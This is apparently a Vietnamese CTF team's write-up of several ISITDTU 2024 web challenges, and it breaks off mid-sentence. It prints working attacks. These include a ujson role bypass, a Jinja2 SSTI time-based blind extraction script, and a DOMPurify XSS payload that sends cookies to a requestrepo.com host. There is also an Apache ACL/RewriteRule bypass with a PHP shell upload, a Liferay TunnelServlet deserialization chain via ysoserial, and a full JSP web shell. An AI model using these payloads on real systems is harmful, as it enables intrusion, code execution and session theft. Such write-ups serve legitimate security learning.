# ISITDTU CTF 2024 ![image](https://hackmd.io/_uploads/SkcPtcwu1l.png) my team RipeRice in the top 4 ## web/Another one Source code: python flask + bug ujson + ssti template jinjja Trang web có chức năng đăng kí đăng nhập + hiển thị + render template nhưng không hiển thị kết quả Quan sát dockerfile ta thấy mạng để internal ``` networks: internal: driver: bridge ``` Server đã xóa `rm /usr/bin/wget` và không có các câu lệnh có thể OOB, flag được random name nằm tại /app nên định hướng từ đầu có vẻ là rce. Nhìn vào source code ta có thể thấy nhanh sink rce ssti từ việc render trực tiếp đầu vào của người dùng ``` data = request.get_json() template = data.get("template") rendered_template = render_template_string(template) ``` Để access đến nó ta cần có role admin qua việc phân giải jwt được gắn tại cookie phiên ``` decoded = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256']) role = decoded.get('role') if role != "admin": return jsonify(message="Admin only"), 403 ``` Do đó ta hướng đến việc bypass admin để access đến sink, `PyJWT` là version mới nhất nên có vẻ chưa thể khai thác đoạn này. Bắt đầu đi tìm các gadget liên quan để việc authorization. Oử đây ta thấy việc register khá khả nghi -> ``` @app.route('/register', methods=['POST']) def register(): json_data = request.data if "admin" in json_data: return jsonify(message="Blocked!") data = ujson.loads(json_data) username = data.get('username') password = data.get('password') role = data.get('role') if role !="admin" and role != "user": return jsonify(message="Never heard about that role!") if username == "" or password == "" or role == "": return jsonify(messaage="Lack of input") if register_db(connection, username, password, role): return jsonify(message="User registered successfully."), 201 else: return jsonify(message="Registration failed!"), 400 ``` Đối với dữ liệu người dùng để reg account mới thì server sẽ thực hiện check nếu có `admin` trong nội dung thì Blocked. Để ý tại đây thì ta được truyền thêm cả role để reg nên có vẻ source là đây ``` def register_db(connection, username, password, role): try: cursor = connection.cursor() cursor.execute("SELECT * FROM users WHERE username = ?", (username,)) if cursor.fetchone(): return False cursor.execute("INSERT INTO users (username, password, role) VALUES (?, ?, ?)", (username, password, role)) connection.commit() return True except sqlite3.Error as e: print "Error during registration:", e return False finally: cursor.close() ``` do việc insert thằng cả role ta control được vào db nên ta sẽ khai thác đoạn này. Về việc bypass "admin" có vẻ khá khó nhưng ta thấy ujson sẽ sử lí json sau khi kiểm tra -> searching nhanh thấy nó dính `Improper Handling of Syntactically Invalid Structure` [bug](https://security.snyk.io/vuln/SNYK-PYTHON-UJSON-2942122) Như poc ta thấy thì đối với kí tự unicode thì sẽ bị bỏ qua ![image](https://hackmd.io/_uploads/HkpCUqsg1x.png) ta bypass thành công admin role và nhận jwt để access render ``` {"username":"hihi","password":"haha","role":"admi\uD800n"} ``` Truyền data template ssti để blind cmdi ``` {"template":"{{ cycler.__init__.__globals__.os.popen('for file in $(ls | grep -v -E \"^(Dockerfile|app.py|database.db|database.py|database.pyc|docker-compose.yml|entrypoint.sh|hihi|requirements.txt|templates)$\"); do cat \"$file\"; done').read() }}"} ``` POC: ``` import requests import time session = requests.session() alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@#_*&@!^*{}" burp0_url = "http://152.69.210.130:64830/render" payload = "" burp0_cookies = { "COOKIE_SUPPORT": "true", "GUEST_LANGUAGE_ID": "en_US", "COMPANY_ID": "10155", "ID": "50367a6f334147512f326b73467055596a33313330773d3d", "USER_UUID": "\"Z7hRSaNGp6mfY1hAgHY5013+Z80P3zscPYqAa4cOB00=\"", "LOGIN": "6869686940676d61696c2e636f6d", "PASSWORD": "352b67744e7066474a422b653753634d4572307148513d3d", "REMEMBER_ME": "true", "SCREEN_NAME": "70672b5950377a5147796569624c6f734968704556513d3d", "jwt_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImxtYW8iLCJyb2xlIjoiYWRtaW4ifQ.IIqnwm7Sb09GgWy0SDEkBgsLzbHg66_iCA5DzmiRkJA" } burp0_headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "Referer": "http://localhost:8082/login", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Content-type": "application/json", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1", "Priority": "u=0, i" } for i in range(1, 100): for char in alphabet: burp0_json = { "template": f"{{{{ cycler.__init__.__globals__.os.popen('for file in $(ls | grep -v -E \"^(Dockerfile|app.py|database.db|database.py|database.pyc|docker-compose.yml|entrypoint.sh|hihi|requirements.txt|templates)$\"); do char=$(cat \"$file\" | head -c {i} | tail -c 1); if [ \"$char\" = \"{char}\" ]; then sleep 5; else echo \"no\"; fi; done').read() }}}}" } start_time = time.time() res = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=burp0_json) end_time = time.time() if (end_time - start_time) >= 5: payload += char print("flag is: " + payload) break ``` flag: `ISITDTU{N0W_y0u_kn0w_h0w_T0_m4k3_1t_r3Fl3ct3d!!}` ## web/ X ÉC ÉC Trang web sử dụng expressjs và module npm `dompurify": "^3.1.6` để filter xss -> bypass xss để steal bot cookie Có chức năng ghi một note và hiển thị note sau khi được server filter xss. payload: ```` <svg><a><foreignobject><a><table><a></table><style><!--</style></svg><a id="-><img src onerror=fetch('http://00br69e7.requestrepo.com/?a='+document.cookie)>">. ```` flag: `ISITDTU{d364c13b91d3bd0ecb3ffed49b229fc06b1208e8}` ## web/S1mple ### recon Đối với bài này source sẽ được pull từ dockerhub xuống `FROM servertest2008/simpleserver:1.4` ta thấy có 2 repo khá xuống nhau từ 2 tháng trước và 2 ngày trước đó. Sau khi build docker đi vào server ta thấy ngay server sử dụng `Apache/2.4.18` + `mod_dumpio.so` Module `mod_dumpio.so` sẽ bật config: `LogLevel dumpio:trace7 DumpIOInput On DumpIOOutput On` đẻ ghi log. Trang web có hiển thị 3 href là 3 trang chỉ có only text nên không có gì có thể khai thác -> ta sẽ đi vào server tại /var/www/html: ![image](https://hackmd.io/_uploads/ryp2xoigye.png) ngoài file index.html thì còn có 2 pages như ta thấy ở trên, ngoài ra còn file `.`htaccess` ``` <Files "admin.php"> AuthType Basic AuthName "Admin" AuthUserFile "/.htpasswd" Require valid-user </Files> <Files "adminer.php"> AuthType Basic AuthName "Admin" AuthUserFile "/.htpasswd" Require valid-user </Files> <Files "xmlrpc.php"> AuthType Basic AuthName "Admin" AuthUserFile "/.htpasswd" Require valid-user </Files> <Files .env> Order allow,deny Deny from all </Files> ``` File này do root tạo nó yêu cầu authen khi truy cập vào các file admin.php và adminer.php và AuthUserFile chính là file flag của chall nên có vẻ như phải tìm cách bypass Tại file admin.php -> ta thấy có thể truyền param pages và được include nhưng nó được cộng string '/pages/ + param page + '.html'. Vì đây là version php 7.0 nên không thể dùng null byte để bypass hay path truncation php được. Sau đó mình thực hiện find tất cả các file có đuôi .html trên server nhưng mà không có file này có khuôn mẫu php để có thể khai thác ngoài file `/usr/share/vulnx/shell/VulnX.php` có chức năng upload file nhưng việc bypass extention là bất khả thi. ![image](https://hackmd.io/_uploads/Skp_ZsilJe.png) Nếu access được đến file này mình có thể upload 1 file vào uploads/. Sau khi fuzz 1 hồi server thì mình phát hiện được: ![image](https://hackmd.io/_uploads/BJ9Kljog1g.png) ``` vi /etc/apache2/.htpasswd nano /etc/apache2/.htpasswd rm /etc/apache2/.htpasswd cd git clone https://github.com/anouarbensaad/vulnx.git apt install python3-pip apt update apt install python3 python3-pip ls cd vulnx/ ls pip3 install -r requirements.txt ./install.sh bash install.sh apt install sudo ./install.sh vi install.sh nano install.sh ./install.sh cd /usr/share/vulnx/ ls cat install.sh nano install.sh ls cd ls rm -rf vulnx/ cd /usr/share/vulnx/ ls cd shell/ ls mkdir cat VulnX.php ls mkdir uploads chmod 777 uploads/ ls -la rm -r uploads/ mkdir uploads cd uploads/ l ls touch shell.php chmod 777 shell.php ls -la ls cd .. ls vi VulnX.php nano VulnX.php ls cat uploads/shell.php ls nano uploads/ nano uploads/shell.php nano VulnX.gif nano VulnX.html nano VulnX.php.mp4 nano VulnX.php.png ls cat/ file nano VulnX.zip ls ls -la cd uploads/ ls -la ls ls -la cat shell.php ls -la shell.php nanno shell.php nano shell.php ls nano shell.php cd ls cd /var/www/html/ ls vi src/.htaccess nano src/.htaccess ls /etc/apache2/.htpasswd exit cat /usr/share/vulnx/shell/uploads/shell.php cat /usr/share/vulnx/shell/uploads/shell.php cat /.flag cd /var/www/html/ ls cd src/ ls vi admin.php apt intall vim apt install vim ls vi admin.php cat admin.php ls cd /usr/share/vulnx/ ls cd shell/ ls cd uploads/ ls mv shell.php shell.html ls -la cd .. ls ps aux cd ls cd /var/www/html/ ls cd src/ ls cat admin.php cat .htaccess cat / /.htpasswd vi .htaccess ls /usr/share/vulnx/shell/uploads/shell.html ls -la /usr/share/vulnx/shell/uploads/shell.html cat /usr/share/vulnx/shell/VulnX.php exit cd /var/www/html/ ls cd src/ ls vi admin.php ls mkdir pages cd pages/ vi 1.html vi 2.html ls cd .. ls vi admin.php rm /.htpasswd exit ls vi /etc/apache2/sites-available/000-default.conf service apache2 restart cd /var/www/html/ ls cat /usr/share/vulnx/shell/VulnX.php ls /usr/share/vulnx/shell/VulnX.php ls /usr/share/vulnx/shell/uploads/ cat /usr/share/vulnx/shell/uploads/shell.html cd ls ks ls ls -la / cat /.flag rm /.flag ls ls -la .htpasswd cat /.htpasswd ls ls -la cat .htpasswd rm .htpasswd ls cd / ls ls -la / cat start.sh exit ls cd /var/www/html/ ls cd src/ ls cat /etc/apache2/sites-available/000-default.conf ls vi about.html ls cat index.php mv index.php index.html vi index.html ls vi index.html vi contact.html exit cat /.htpasswd sudo a2enmod dumpio a2enmod dumpio a2enmod dump_io vi /etc/apache2/apache2.conf sudo systemctl restart apache2 service apache2 restart cat /var/log/apache2/error.log cat /var/log/apache2/access_php.log cat /var/log/apache2/access.log cat /var/log/apache2/error_php.log exit ``` Có vẻ đây là hint của tác giả vì không xóa .bash_history của root user Có thể thấy root thực hiện clone repo `https://github.com/anouarbensaad/vulnx.git` từ người dùng và cài đặt nó sau đó thực hiện cấu hình apache bằng việc thay đổi file `/etc/apache2/sites-available/000-default.conf` tiếp theo cài `dumpio` và kích hoạt nó -> sửa đổi `/etc/apache2/apache2.conf` và restart lại apache server cuối cùng người dùng đọc 3 file log của server để kiểm tra. Đối với file `/etc/apache2/sites-available/000-default.conf` ![image](https://hackmd.io/_uploads/S17gHiig1g.png) ở đây tác giả dùng server_api dùng FastCGI để xử lí file .php nhanh hơn giúp tối ưu hiệu suất và cân bằng tải cho hệ thống. tại web root cho phép `AllowOverride All` để đảm bảo file .htaccess ở trên hoạt động đúng ``` RewriteEngine On RewriteRule ^/website-(.*).doc$ /$1.html ``` Đối với đoạn này sẽ thực hiện chuyển hướng các route match regex sang file .html với tên tương ứng Ta để ý phần giữa root có đọc các file (đây là các file được tạo ra từ việc install repo trên): ![image](https://hackmd.io/_uploads/rJe8Zjieyg.png) ``` cat /usr/share/vulnx/shell/VulnX.php ls /usr/share/vulnx/shell/VulnX.php ls /usr/share/vulnx/shell/uploads/ cat /usr/share/vulnx/shell/uploads/shell.html ``` thấy có file `/usr/share/vulnx/shell/uploads/shell.html` nhưng mà chỉ có chữ `test` Phát hiện ra mình chưa đọc log của apache - ở đây có vẻ tác giả quên xóa log nên làm giảm độ khó của chall này ![image](https://hackmd.io/_uploads/Bk7kGooxJl.png) Ta phát hiện ra file `/var/log/apache2/access_php.log` Tìm hết file này thấy có 2 điểm là chỗ để sol bài này luôn Điểm đầu tiên là việc bypass authentication ở file .htaccess để access đến admin.php ![image](https://hackmd.io/_uploads/Hkxafisg1g.png) Sau đó là cách access đến file upload: ![image](https://hackmd.io/_uploads/Sy0rQojxJx.png) Tại đây thì ta sẽ có ý tưởng là upload file .html để overwrite file shell/html tại file upload sau đó dùng lfi để trigger rce. ### detect **ACL Bypass**: ``` <FilesMatch "\.php$"> SetHandler "proxy:unix:/run/php/php7.0-fpm.sock|fcgi://localhost/" </FilesMatch> ``` Nguyên nhân do ngữ nghĩa không nhất quán về r->filename giữa các mô-đun. Hầu hết các Proxy đều coi r->filename như một đường dẫn hệ thống tệp thay vì url do việc chuyển hướng các yêu cầu như ở đây nó chuyển hướng đến với fcgi đến cho intepreter thực hiện xử lí file php. Nên ta dùng `/admin.php%3Fooo.php` có thể bypass được match của .htaccess Nguồn: https://blog.orange.tw/posts/2024-08-confusion-attacks-en/#%E2%9C%94%EF%B8%8F-1-1-1-Path-Truncation **bypass RewriteRule** ``` RewriteEngine On RewriteRule ^/website-(.*).doc$ /$1.html ``` `/website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc` ở đây ta thấy regex sẽ match tất cả chuỗi bắt đầu bằng `/website-` sau đó $1 sẽ là bất kì chuỗi nào nằm sau và kết thúc bằng .doc Lúc này phần còn lại là `/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a` được match lần đầu tiên nên $1 = `/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a` Và việc redirect sẽ dẫn đến `/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.html` lúc này phần đằng sau sẽ được coi như là một param và lược bỏ ta sẽ access đến `/usr/share/vulnx/shell/VulnX.php%3f` ### exploit ![image](https://hackmd.io/_uploads/SyTJPjclkl.png) ``` POST /website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://localhost/website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc Content-Type: multipart/form-data; boundary=---------------------------2778427660522729618720203579 Content-Length: 371 Origin: http://localhost Connection: close Cookie: COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; COMPANY_ID=10155; USER_UUID="jiImVDJvR9FvHsC9ILRngv9QY7WiCc4KxubG7TEzTpM="; LOGIN=6c6d616f40676d61696c2e636f6d; REMEMBER_ME=true; SCREEN_NAME=65304e4e5442436764486f7678336750624b676a43773d3d; ID=4b4432493933576971666767794e6e4a5a78463047773d3d; PASSWORD=4e6a69664a726f41724461424c6454534651486b54673d3d Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Priority: u=0, i -----------------------------2778427660522729618720203579 Content-Disposition: form-data; name="image"; filename="shell.html" Content-Type: application/octet-stream <?php system('cat /.htpasswd');?> -----------------------------2778427660522729618720203579 Content-Disposition: form-data; name="Submit" Upload -----------------------------2778427660522729618720203579-- ``` ``` GET /admin.php%3fooo.php?pages=../../../../../usr/share/vulnx/shell/uploads/shell HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Cookie: COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; COMPANY_ID=10155; USER_UUID="jiImVDJvR9FvHsC9ILRngv9QY7WiCc4KxubG7TEzTpM="; LOGIN=6c6d616f40676d61696c2e636f6d; REMEMBER_ME=true; SCREEN_NAME=65304e4e5442436764486f7678336750624b676a43773d3d; ID=4b4432493933576971666767794e6e4a5a78463047773d3d; PASSWORD=4e6a69664a726f41724461424c6454534651486b54673d3d Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i ``` ![image](https://hackmd.io/_uploads/H18zDsce1l.png) flag: `ISITDTU{5e85c3b7f62b1dd9a990530c03f39abaa78f7085}` ## web/niceray Một bài white box với life ray java + bug deserialize Đề bài cho ta thấy được một server khá hoàn chỉnh được build với java được chạy bởi java jdk8 Về cơ bản thì mình chưa phân tích liferay bao giờ nên mình sẽ nói về cc6 để khai thác -> rce cho bài này source là: `java.io.ObjectInputStream.readObject()` sink: `org.apache.commons.collections.functors.InvokerTransformer.transform(` Với các yếu tố như trên thì đại khái ta có thể đoán được bài này dính bug deserialize Lướt qua các lib được sử dụng tại đây ta thấy có common colection 3-2-1 ![image](https://hackmd.io/_uploads/BkWHjCjgJg.png) Cùng với lib `jboss 7.1.1` ![image](https://hackmd.io/_uploads/SJgFiCie1l.png) Tiến hành set up remote debug + khai thác lỗ hổng này ![image](https://hackmd.io/_uploads/ByY6pRjeye.png) Đi vào bài -> ta thấy flag được random -> mục tiêu rce ![image](https://hackmd.io/_uploads/HJF-0Rslkx.png) chall sẽ cop package `liferay-portal-6.2-ce-ga3` vafp /opt ở đây ta sẽ expose 2 port là 8080 là của chall và 5005 là port remote debug docker `iptables` cài đặt iptables -> chạy .sh để config iptables `iptables` được sử dụng để thiết lập và quản lý tường lửa trên các hệ thống Linux, giúp kiểm soát lưu lượng mạng vào, ra và chuyển tiếp qua hệ thống -> từ đó giúp cho hệ thống có thể kiểm soát lưu lượng truy cập, hoặc ngăn chặn các cuộc tấn công mạng, hay là bảo vệ hệ thống bằng cách chặn các lưu lượng trái phép. ![image](https://hackmd.io/_uploads/H1AhUynx1l.png) ở đây tác giải rm /apt và sleep có vẻ để ta không brute được hay cài các packgage khác ![image](https://hackmd.io/_uploads/r1lErkngyg.png) Thực hiện config từ việc xóa sạch rule nằm trong bảng filter -> sau đó xóa các rule trong các chain của bảng nat để chuyển tiếp lưu lượng -> xóa tất cả các chain tùy chỉnh (custom chain) trong bảng filter. Các chain mặc định như INPUT, OUTPUT, và FORWARD sẽ không bị xóa, chỉ các chain được người dùng tạo thủ công bị xóa . Đặt chính sách mặc định cho chain OUTPUT là DROP, nghĩa là chặn tất cả các gói tin gửi đi từ hệ thống nếu không có rule khác cho phép + Cho phép tất cả gói tin vào mà không cần rule. sau đó, tạo các quy tắc để cho phép lưu lượng mạng qua giao diện loopback (lo), đảm bảo rằng các gói tin truyền trong nội bộ hệ thống vẫn hoạt động bình thường Định nghĩa INTERNAL_NETWORK là "172.18.0.0/16" các ip nằm trong dải 172.18.0.0 -> 172.18.255.255 Đối với các gói tin đi ra khỏi hệ thống chỉ cho phép nếu đích đến là INTERNAL_NETWORK tương tự các gói tin vào hệ thống chỉ cho phép từ nguồn này Cho phép các gói in đi ra qua giao thức udp/tcp với cổng đích là 53 Quay trở lại với Dockerfile sẽ khởi tạo env java và chạy server ![image](https://hackmd.io/_uploads/r1jR7xhlJx.png) sử dụng internal network để ngăn chặn ta oob -> đo đó bài này ta sẽ hướng đến là deserialize không sử dụng các gadget của rmi hoặc những phương thức oob tương tự. ``` java RMI - Remote Method Invocation là một kĩ thuật cài đặt các đối tượng phân tán trong Java. RMI là một phần của bộ J2SDK và là hàm thư viện hỗ trợ các lời gọi phương thức từ xa và trả về giá trị cho các ứng dụng tính toán phân tán. Chúng ta giả sử rằng ngôn ngữ Java được sử dụng ở cả hai phía gọi và phía bên phương thức được gọi. ``` ### đôi nét về liferay ![image](https://hackmd.io/_uploads/BJa5zSaeJe.png) Liferay là một giải pháp mã nguồn mở được ra mắt năm 2001, nếu ai đã biết đến wordpress rồi thì Liferay tương tự nó, ở đây có khoảng 80% các chức năng cần thiết đã được dựng sẵn -> từ đó người dùng có thể tập trung vào việc phát triển sản phẩm thay vì làm lại phần cơ bản ``` java Nó là một nền tảng mạnh mẽ và linh hoạt, có thể được sử dụng để tạo ra nhiều loại ứng dụng khác nhau, bao gồm trang web, cổng thông tin, ứng dụng nội bộ và ứng dụng thương mại điện tử. Liferay cung cấp các tính năng như quản lý nội dung, quản lý người dùng, quản lý quyền truy cập, quản lý giao diện, quản lý tìm kiếm, quản lý cộng đồng và hỗ trợ đa ngôn ngữ. ``` Searching với life-ray ta có thể thấy nhiều bug điển hình là Liferay TunnelServlet bị dính deserialize do việc cấu hình không đúng cho việc access đến 1 vài endpoint -> từ đó dẫn đến attacker có thể access đến /api không nằm trong phân vùng authorization của họ từ đó dẫn đến lỗ hổng rce. **Version dính của life ray là** ``<liferay-portal 6.1.0 CE`` Để có thể biết rõ hơn về lỗi của version này ta sẽ diff với ida với `7.0.3 GA4` để tìm ra bản vá của nó. Sink của nó nằm tại method doPost trong class TunnelServlet và ở bản vá `7.0.3` nó đã thực hiện thêm phần check permission của local user ![image](https://hackmd.io/_uploads/ryXZEBagkx.png) ![image](https://hackmd.io/_uploads/H19_yZCgke.png) Trong bài viết bug đã được đề cập thì ta có thể thấy 2 mapping url dính lỗi đó là /api/liferay/* và /api/spring, cả 2 api này chỉ có thể được gọi từ local user, như trong bài này ta sẽ khai thác với sink Tunnel Servlet do đó ta sẽ dùng /api/liferay ![image](https://hackmd.io/_uploads/S19kxWReke.png) Tunnel Servlet thường hoạt động như một proxy giữa người dùng và dịch vụ mà nó hướng tới. Khi một yêu cầu HTTP được gửi tới Tunnel Servlet, servlet này sẽ chuyển tiếp yêu cầu đó tới dịch vụ backend hoặc máy chủ đích, sau đó lấy kết quả và gửi lại về trình duyệt như là phản hồi ban đầu. Sink của chain này nằm tại `ois.readObject()` gửi request post đến api/liferay và sử dụng /api////liferay để bypass local check ![image](https://hackmd.io/_uploads/H1rhvWAxyl.png) Ta nhận được req tại debug ![image](https://hackmd.io/_uploads/rkg-dZ0g1g.png) Quan sát các call stack của luồng thực thi ![image](https://hackmd.io/_uploads/rJmutbRgyg.png) ![image](https://hackmd.io/_uploads/ryEjF-Axkg.png) ![image](https://hackmd.io/_uploads/SkPhYWRekg.png) Tại đây thì cơ bản là mình chuyển byte không đúng định dạng của ois nên nó handle exception Việc cần làm là đi tìm các gadget để có thể rce được -> ở trên ta đã nói là có sử dụng common collection 3.2.1 và bài sử dụng jdk 1.8 ![image](https://hackmd.io/_uploads/HJMXTbRgJg.png) Nên ta sẽ lợi dụng các cc trong yoserial để khai thác ở đây dùng cc6 ``` java <%@ page import="java.util.*,java.io.*" %> <% %> <HTML> <BODY> <H3>JSP SHELL</H3> <FORM METHOD="POST" NAME="myform" ACTION=""> <INPUT TYPE="password" NAME="password"> <INPUT TYPE="text" NAME="cmd"> <INPUT TYPE="submit" VALUE="Execute"> </FORM> <PRE> <% if ("zzzzzz".equals(request.getParameter("password"))) { if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } } else { out.println("Incorrect password"); } %> </PRE> </BODY> </HTML> ``` ta sẽ tạo một shell jsp trên server -> từ đó server sẽ xử lí jsp tương tự như xử lí php theo kiểu upload file ``` python import requests import os URL = "http://localhost:8080" os.system('"D:/[path]/ysoserial-all.jar CommonsCollections6 "bash -c {echo,ZWNobyBQQ1ZBSUhCaFoyVWdhVzF3YjNKMFBTSnFZWFpoTG5WMGFXd3VLaXhxWVhaaExtbHZMaW9pSUNVK0Nqd2xDaVUrQ2p4SVZFMU1QZ29nSUNBZ1BFSlBSRmsrQ2lBZ0lDQWdJQ0FnUEVnelBrcFRVQ0JUU0VWTVREd3ZTRE0rQ2lBZ0lDQWdJQ0FnUEVaUFVrMGdUVVZVU0U5RVBTSlFUMU5VSWlCT1FVMUZQU0p0ZVdadmNtMGlJRUZEVkVsUFRqMGlJajRLSUNBZ0lDQWdJQ0FnSUNBZ1BFbE9VRlZVSUZSWlVFVTlJbkJoYzNOM2IzSmtJaUJPUVUxRlBTSndZWE56ZDI5eVpDSStDaUFnSUNBZ0lDQWdJQ0FnSUR4SlRsQlZWQ0JVV1ZCRlBTSjBaWGgwSWlCT1FVMUZQU0pqYldRaVBnb2dJQ0FnSUNBZ0lDQWdJQ0E4U1U1UVZWUWdWRmxRUlQwaWMzVmliV2wwSWlCV1FVeFZSVDBpUlhobFkzVjBaU0krQ2lBZ0lDQWdJQ0FnUEM5R1QxSk5QZ29nSUNBZ0lDQWdJRHhRVWtVK0NpQWdJQ0FnSUNBZ1BDVUtJQ0FnSUNBZ0lDQnBaaUFvSW5wNmVucDZlaUl1WlhGMVlXeHpLSEpsY1hWbGMzUXVaMlYwVUdGeVlXMWxkR1Z5S0NKd1lYTnpkMjl5WkNJcEtTa2dld29nSUNBZ0lDQWdJQ0FnSUNCcFppQW9jbVZ4ZFdWemRDNW5aWFJRWVhKaGJXVjBaWElvSW1OdFpDSXBJQ0U5SUc1MWJHd3BJSHNLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJRzkxZEM1d2NtbHVkR3h1S0NKRGIyMXRZVzVrT2lBaUlDc2djbVZ4ZFdWemRDNW5aWFJRWVhKaGJXVjBaWElvSW1OdFpDSXBJQ3NnSWp4Q1VqNGlLVHNLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJRkJ5YjJObGMzTWdjQ0E5SUZKMWJuUnBiV1V1WjJWMFVuVnVkR2x0WlNncExtVjRaV01vY21WeGRXVnpkQzVuWlhSUVlYSmhiV1YwWlhJb0ltTnRaQ0lwS1RzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUU5MWRIQjFkRk4wY21WaGJTQnZjeUE5SUhBdVoyVjBUM1YwY0hWMFUzUnlaV0Z0S0NrN0NpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCSmJuQjFkRk4wY21WaGJTQnBiaUE5SUhBdVoyVjBTVzV3ZFhSVGRISmxZVzBvS1RzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUVSaGRHRkpibkIxZEZOMGNtVmhiU0JrYVhNZ1BTQnVaWGNnUkdGMFlVbHVjSFYwVTNSeVpXRnRLR2x1S1RzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUZOMGNtbHVaeUJrYVhOeUlEMGdaR2x6TG5KbFlXUk1hVzVsS0NrN0NpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCM2FHbHNaU0FvSUdScGMzSWdJVDBnYm5Wc2JDQXBJSHNLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCdmRYUXVjSEpwYm5Sc2JpaGthWE55S1RzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmthWE55SUQwZ1pHbHpMbkpsWVdSTWFXNWxLQ2s3Q2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0I5Q2lBZ0lDQWdJQ0FnSUNBZ0lIMEtJQ0FnSUNBZ0lDQjlJR1ZzYzJVZ2V3b2dJQ0FnSUNBZ0lDQWdJQ0J2ZFhRdWNISnBiblJzYmlnaVNXNWpiM0p5WldOMElIQmhjM04zYjNKa0lpazdDaUFnSUNBZ0lDQWdmUW9nSUNBZ0lDQWdJQ1UrQ2lBZ0lDQWdJQ0FnUEM5UVVrVStDaUFnSUNBOEwwSlBSRmsrQ2p3dlNGUk5URDRLIHwgYmFzZTY0IC1kID4gL29wdC9saWZlcmF5LXBvcnRhbC02LjItY2UtZ2EzL2pib3NzLTcuMS4xL3N0YW5kYWxvbmUvZGVwbG95bWVudHMvUk9PVC53YXIvbmFtbWguanNw}|{base64,-d}|{bash,-i}" > a.bin') r = requests.post(URL + "/api///liferay", data = open("a.bin", "rb")) print(r.text) Nguồn: anh Nam ``` ở đây ta sẽ tạo web shell tại root `/opt/liferay-portal-6.2-ce-ga3/jboss-7.1.1/standalone/deployments/ROOT.war` -> từ đó tạo được shell để rce và nhận flag ![image](https://hackmd.io/_uploads/BkwVi-Rxyl.png) ![image](https://hackmd.io/_uploads/rJ4jNbCeJl.png) Tham khảo: https://nguyendt.hashnode.dev/lpe-15538, https://sec.vnpt.vn/2019/01/ahihihihihihihihihihihihi ## web/hihi Một bài white-box với việc bypass ssti velocity của java spring boot Trang web cơ bản chỉ có một api dành cho ``/`` ở đây ta sẽ chú ý method post `/` ``` @PostMapping(value = "/") @ResponseBody public String hello(@RequestParam("data") String data) throws IOException { String hexString = new String(Base64.getDecoder().decode(data)); byte[] byteArray = Encode.hexToBytes(hexString); ByteArrayInputStream bis = new ByteArrayInputStream(byteArray); ObjectInputStream ois = new SecureObjectInputStream(bis); String name; try{ Users user = (Users) ois.readObject(); name= user.getName(); } catch (Exception e) { throw new RuntimeException(e); } if(name.toLowerCase().contains("#")){ return "But... For what?"; } String templateString = "Hello, " + name+". Today is $date"; Velocity.init(); VelocityContext ctx = new VelocityContext(); LocalDate date = LocalDate.now(); DateTimeFormatter formatter = DateTimeFormatter.ofPattern("MMMM dd, yyyy"); String formattedDate = date.format(formatter); ctx.put("date", formattedDate); StringWriter out = new StringWriter(); Velocity.evaluate(ctx, out, "test", templateString); return out.toString(); } ``` Serve nhận data được gửi lên -> sau đó nó thực hiện decode bas64 dữ liệu nhận được -> sau đó thực hiện khởi tạo một object ois với class `SecureObjectInputStream` -> sau đó lấy ra name -> nếu name chứa `#` sẽ không xử lí gì thêm -> nếu không chưa sẽ khởi tạo chuỗi được nối với name và hiển thị giao diện qua velocity template https://iwconnect.com/apache-velocity-server-side-template-injection/ đối với việc hiển thị ta có thể dễ sàng biết được sink là ssti ở đây qua source là variable name được người dùng control. Nhưng có 2 vấn đề đặt ra: - Đầu tiên là việc 